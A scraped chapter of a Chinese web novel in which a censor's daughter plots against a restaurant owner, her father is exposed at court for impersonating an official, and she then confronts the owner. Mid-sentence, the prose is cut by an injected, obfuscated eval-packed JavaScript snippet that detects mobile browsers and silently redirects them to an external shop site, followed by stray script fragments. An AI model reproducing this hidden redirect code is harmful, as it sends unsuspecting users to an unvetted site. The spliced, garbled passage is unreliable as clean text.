文趣网 > 其他小说 > 系统逼我做任务 > 110. 一个小厨娘
    出了禁闭的李姵玉并未听到关于文氏酒楼的风声,不由有些着急。

    等出门办事的芳草一回来,便急急将她叫来问话:“如何了?为何这几日过去,一点动静都没有?”

    “小姐......”芳草有些瑟缩,“闻氏一切如旧,并没有什么不好的风声。奴婢去找了那人,早已人去屋空,怕不是拿着定金跑了......”

    “废物!”李姵玉一巴掌甩在芳草脸上,“竟连这点小事都办不好!滚出去!”

    李姵玉怒气冲冲坐在床边,冷静下来之后也意识到此事若是暴露,她必受牵连,甚至会连累父亲,需得从长计议。

    顶着红肿脸颊跪在屋外的芳草倒是松了一口气。

    那日李姵玉让她找个人往闻氏酒楼的饭菜里投毒,说到时闻溪陷入牢狱之灾,婚事便作不得数了。

    甫一听到这样安排,她便觉得不妥,却被李姵玉以卖身契威胁。

    一想起那日李姵玉阴狠的表情,即便此刻跪在艳阳下,芳草也觉不寒而栗。

    好在她找的那人也是个不成事的盲流子,跑了便跑了罢,至少不会闹出人命。

    李御史擢升回京,如今正得圣眷。

    翌日朝堂之上。

    “有事起奏,无事退朝。”例行早朝之后,德轩公公觑了觑皇帝的神色,对着大小官员喝到。

    “臣有本奏。”李正瑜抬眼看向前方泰然自若的唐铎,想起那日唐府管家毫不留情的话语,眼中闪过阴翳,赫然出列。

    皇帝萧睿抬手,示意李御史上奏。

    “臣近日听得坊间传闻,指挥使大人如今掌管指挥司,却滥用酷刑,指鹿为马、草菅人命......如今山河初定,天下太平,唐指挥使手段残暴,为人所不忍。”

    李御史顿了顿:“按理指挥司办案不容下官置喙,可百姓言之凿凿。长此以往,人心惶惶,怕会动摇国本啊!”

    面对萧睿疑惑的眼神,唐铎出列,躬身陈述:“指挥司的职责便是负责京城治安城防,抓到敌国奸细,自然该严刑拷打,以免后患无穷。”

    唐铎说完转头看向李正瑜:“本官却不知,为何李御史却要为证据确凿的奸细说情?李御史单单只是对本官有所怀疑,还是御史台得了本官的罪证?亦或是......别有居心?”唐铎不给他说话的机会,接着气定神闲反问,“若是面对敌国细作也要以礼相待,长此以往,我大云朝的威严何在?”

    “强词夺理......强词夺理......”李正瑜还欲再言,却被指挥同知杨沛打断。

    “陛下,昨日指挥司收悉一女子报案,上告御史台李正瑜大人冒名顶替其父的官位,享受了三十余年的俸禄,虽然该女子携带各类血书证据......但兹事体大,为保稳妥,指挥使大人责令臣等查明后再行上报。”

    “只是今日,不知是不是李御史收到风声,想要祸水东引,或者以此为要挟,想换取一时的逃脱?不然为何,突然弹劾指挥司首领呢?”

    杨沛说罢呈上血证,请求皇上彻查。

    原本老神在在、隔山观虎斗的众官员纷纷侧头看向李正瑜。

    李代桃僵、偷梁换柱,这可是欺君罔上的大罪......

    李御史甫一听到杨沛所说,便已浑身绵软,呆愣在原地。

    他不过是气不过前些日子唐铎行事张狂,想在朝堂上踩他一踩罢了,为何竟将那件事情扯了出来......

    朝堂之上事情频出,闻氏酒楼也不太平。

    原本今日无事,闻溪并不在店里,早前却被火急火燎来唐府找她的伙计扰了清闲。

    那活计愁眉苦脸说是有人在店里闹事。

    闻溪闻言有些纳闷,虽说这几年看在唐铎的面上并无人敢在酒楼闹事,况且福满也跟了自己几年,便是有人使坏,直接报官即可,又何须如此慌张?

    “那人是李御史的千金......”来报的小厮皱着眉头和盘托出。

    李姵玉平日里虽然骄纵跋扈了些,但一来与酒楼并无瓜葛,二来平日她来,店里伙计都尽心伺候陪着小心,倒也不曾出错。

    只是今日李姵玉怕是存心要与酒楼过不去,甫一上坐,便直言店里的伙计伺候不尽心。不是茶水太烫,就是点心品相太差,任凭伙计们如何赔小心,她也不依,定要让闻溪当面给她个交代。

    闻溪闻言默了默,只怕今日李姵玉是有备而来。

    到了店里,李姵玉竟就在一楼大堂里坐着,福圆傻愣愣跪在她身边,周围围满看热闹的人。

    “些许小事何必如此小题大做呢?”

    “唉...福圆还跪着呢...平日里多好的孩子......”

    人人皆知闻溪与唐铎的关系,纷纷出言打抱不平。李姵玉表情高傲,充耳不闻。

    闻溪亲身斟了茶送到李姵玉桌前,看着李姵玉明艳姣好的面容,笑着招呼。

    “李小姐消消气,定是我家福圆笨手笨脚,伺候客人不尽心,这便让她下去领罚去!”说罢便伸手去扶福圆。

    “慢着!”此时李姵玉坐着,颇有气势的斜睨了一眼站在面前的闻溪。

    李姵玉还欲再说,却被闻溪抢了话头:“李小姐有话不妨直说,何必为难底下人。”

    她说罢在李姵玉对面坐下,又挥了挥手,在一旁跪了许久的福圆急忙退下。

    李姵玉拿起手绢轻轻掖了掖嘴角:“闻掌柜真是贵人事忙,小女子在这里等了许久才等来大驾。”

    “那么李小姐找我所为何事呢?”闻溪的语气颇有些山雨欲来的平静。

    先前气势逼人的李姵玉这会儿倒不好意思了,扭捏半天:“不若我们私下一叙罢?”

    闻溪冷笑一声,疑惑着反问:“李小姐罚福圆跪时,未曾想到私下解决吗?”

    李姵玉这时才猛然转过弯来,方才只想着出一出心中恶气来打闻溪的脸,却忘了自己本是与她有事相商。

    她骤然间满脸涨得通红,眼睛扫过众人,不再说话。

    即便再怎么嚣张,她也不敢拿李家的声誉玩笑。

    闻溪一看她的神色,也怕她没有脑子,说出些不该说的话,泼了脏水在唐铎身上,便松了口。

    角落僻静处,李姵玉忙不迭说出心中所想:“我仰慕唐指挥使,愿效仿娥皇女英,与姐姐共侍一夫。”

    听得此话的闻溪呵呵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934147|207183||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑了两声,只觉李姵玉就是草包一个:“我若是不愿呢?”

    李姵玉脸色变得难看:“你不过一介商户,本小姐是看在唐指挥使的面上才与你好言相商,你可不要敬酒不吃吃罚酒。”

    “人人都说御史大人家风严谨,竟不知,教出李小姐这样蠢笨的人。”不待李姵玉发作,闻溪问道,“敢问李小姐的父亲李御史大人官至几品?”

    “我父贵为左都御史,官至正三品。”李姵玉满脸骄傲。

    闻溪向外示意了一眼纷纷看向这里的食客,压低了声音又道:“且不说你父亲与唐铎同为当朝三品官,你奈何不了我。便是将你自荐枕席一事拿出去宣扬一番,都够外人取笑你这御史大人教养出来的小姐恬不知耻。”

    说罢,闻溪斜睨了李姵玉一眼:“你还敢在这里大言不惭!”

    闻溪说完便抬脚走了出来。

    李姵玉闻言气急,追上去伸手便想要去打闻溪。

    底下丫鬟嬷嬷却还懂点事,急急上前去拦李姵玉。

    先前李姵玉为了下闻溪的面子,就在一楼大堂坐着。

    此时唐铎一进门,便看见眼前闹哄哄一团,走上前去将闻溪护在身后。

    李姵玉看着唐铎来了,一下子又找回大家闺秀的风范来,欲说还休的盯着唐铎。

    唐铎倒是半点眼风都没有分给她,只问闻溪可有受委屈。闻溪冷眼看着李姵玉那不错眼看着唐铎的不要钱模样,气不打一处来,她扑进唐铎怀里嘤嘤假哭,直说李家小姐仗势欺人,自己吓得半死,求他一定要为自己做主。

    唐铎看着闻溪那机灵的模样,忍不住嘴角扬起,仍轻缓地拍着闻溪以示安慰。

    李姵玉眼见闻溪如此做派,张口就骂她狐狸精,小家子做派。

    还不等唐铎发话,旁边急匆匆赶来的李家下人拦下想要动手的李姵玉,满脸焦急:“哎哟我的小姐啊,快回家去瞧瞧吧。大人可遭了难了呀!”

    饶是李姵玉再跋扈,听到这话也停下来,转头要随从把话说清楚。

    欺君罔上乃是大罪,既然那些官差说是奉了圣旨,便知此事再无回环余地。那随从便也不藏着掖着,大喇喇如此这般的把事情讲给在场的人,末了气定神闲加上一句:“如今大人已被革职查办了。”

    眼见随从说得有鼻子有眼的,周围人都在指指点点,李姵玉不敢不信,急急忙忙回府去了。

    闻溪这才从唐铎怀里出来,美目瞪了一眼唐铎,施施然去后院了。

    多年情谊,唐铎当然知道闻溪是气自己在外“招蜂引蝶”惹出麻烦。

    唐铎摸了摸鼻子,有些委屈,这哪能怪到自己身上呢?但闻溪也没错,唯一错的便是李御史一家了,只能让李御史多吃点苦头以缓解心头之郁气。

    哄完自己,唐铎悻悻然跟着闻溪而去。

    此事过后,京中人人都道堂堂指挥使将来定然是个‘妻奴’,唐铎非但不以为耻,反而在各宴会上一本正经的承认,后来索性借着醉酒放出话去,若是哪个不长眼的再舞到自己未婚妻眼前去,可别怪唐某手中的刀不认人。

    一时间,京中都道闻溪与唐铎天作之合,真真是蒹葭情深,羡煞旁人。